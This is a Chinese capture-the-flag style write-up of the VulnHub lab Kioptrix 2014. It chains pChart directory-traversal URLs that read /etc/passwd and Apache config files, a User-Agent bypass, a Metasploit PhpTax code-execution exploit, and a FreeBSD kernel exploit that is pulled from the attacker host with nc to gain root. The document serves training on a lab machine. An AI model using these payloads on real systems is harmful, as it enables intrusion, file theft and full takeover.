0x00.前言

你的世界已经准时晴天 远方的我还在夏天看雪。

0x01.靶机的基本信息

靶机名称:Kioptrix: 2014 (#5)

发布日期:2014 年 4 月 6 日

作者:Kioptrix

靶机地址:https://www.vulnhub.com/entry/kioptrix-2014-5,62/

PS:在开始这台靶机之前需要先在VM中删除它的网卡,并且重新添加一遍,不这么做的话靶机会获取不到IP,在删除/添加网卡时靶机要保持关机状态,注意不是挂起,之所以要强调,是因为我自己在这被坑了。

0x02.信息收集

nmap -sn 192.168.0.1/24
image-20211223220233264
sudo nmap -sS -O -A -p 1-65535 192.168.0.110
image-20211223220718358
开放端口:
    22        ssh
    80        http
    8080    http

另外可以注意到,目标系统并非是Linux,而是FreeBSD;说实话在打这靶场之前我也并不知道FreeBSD这个系统,简而言之,Linux和FreeBSD都是类unix系统,两个都是类unix系统的一个分支,而FreeBSD的系统许多重要文件的存储路径和Linux都是不一样的。这两者具体的区别可以参考这篇文章,作为了解应该是足够了:FreeBSD 和 Linux 有什么不同?

0x03.pChart 2.1.3 目录遍历漏洞

有两个http服务,先看80端口的。

image-20211223223124497

没有信息,再看8080,

image-20211223223148056

得,没权限。

回过头来爆破下80端口的目录,

image-20211223224538707

很离谱,一点收获没有。

事出反常必有妖,打开F12一看,果然找到一个隐藏目录:pChart2.1.3/index.php

image-20211223225119116

进入目录,

image-20211223225347964

很多文件,看起来像个文件管理系统,版本是2.1.3,Google一下:pChart 2.1.3。这玩意是php的一个扩展,使用PHP创建抗锯齿图和图形的库,大概就是用来制作图表的。2.1.3版本的pChart有个目录遍历漏洞和XSS。我们只要关注目录遍历漏洞,XSS用不上。

image-20211223230232593

简单看下,利用起来很简单,地方放这,照着exp改就行了,尝试下读取passwd,

http://192.168.0.110/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
image-20211223230449627

问题不大,可以读取。网站使用的是apache,so我们尝试读取下apache的配置文件,

最常用的Apache路径有:
    /etc/httpd/conf/httpd.conf
    /usr/local/apache/conf/httpd.conf
    /usr/local/apache2/conf/httpd.conf

但还记得吗,这不是Linux系统,而是FreeBSD,所以apache配置文件的位置并不在这!根据FreeBSD官网文档的帮助,我们可以得知,apache的配置文件默认位置在/usr/local/etc/apache2x/httpd.conf,其中x代表版本号。那么直接构造如下链接,读取apache配置文件:

http://192.168.0.110/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf

注意到底部有这样一段代码,

image-20211223232842692

正是它限制了我们访问8080端口,只要我们把user-agent这个字段设置为它给的Mozilla/4.0 Mozilla4_browser,便可以正常访问了,抓个包试试,

image-20211223233113600
image-20211223233145100

很好,确实是这样。

0x04.phptax0.8 远程代码执行

再进入phptax目录,

image-20211223233308008

看上去像是个关于税收的系统,以phptax为关键字Google一下,得知PhpTax是美国收入所得税计算软件,且在0.8及之前版本存在远程代码执行漏洞。事情一下子变得简单起来了,直接MSF一把梭,找到漏洞,设置好参数,弹个shell。

image-20211224002845843

成功拿到shell。

0x05.内核提权

查看下内核版本:uname -a

image-20211224003958998

找一下有没有EXP,

image-20211224004118006
image-20211224004135771

就决定是你了:FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation

这里要把exp上传到目标服务器下,一般是用wget命令来上传,不过这台靶机并没有,

image-20211224004414967

但是它有瑞士军刀nc,也是一样的

image-20211224004613602
nc -lp 81 < 28718.c        //先在攻击机上运行

nc  192.168.0.109 81 > exp.c    //然后在目标机器上运行

注意这个传输完成了是不会自动结束的,所以得自己判断什么时候传输完成,然后在攻击机上ctrl+c手动结束,由于是本地传输,基本是秒传,稍微等个几秒就行。ls -la看下文件大小,应该是完整传输了。

image-20211224005805226

然后编译好,再给一下执行权限,执行exp,

image-20211224010203364

显然,我们已经得到了root权限。

0x06.总结

这台靶机就三个点:目录遍历漏洞远程代码执行内核提权。主要还是要擅用Google吧,然后就是FreeBSD系统的这个apache配置文件不太好找,还有,没权限访问网页时,注意看看apache的配置文件做了什么配置。

参考文章:

Write-up for Kioptrix: 2014 (#5)

Kioptrix 2014

VulnHub - Kioptrix 5

Kioptrix 2014 (#5) Walkthrough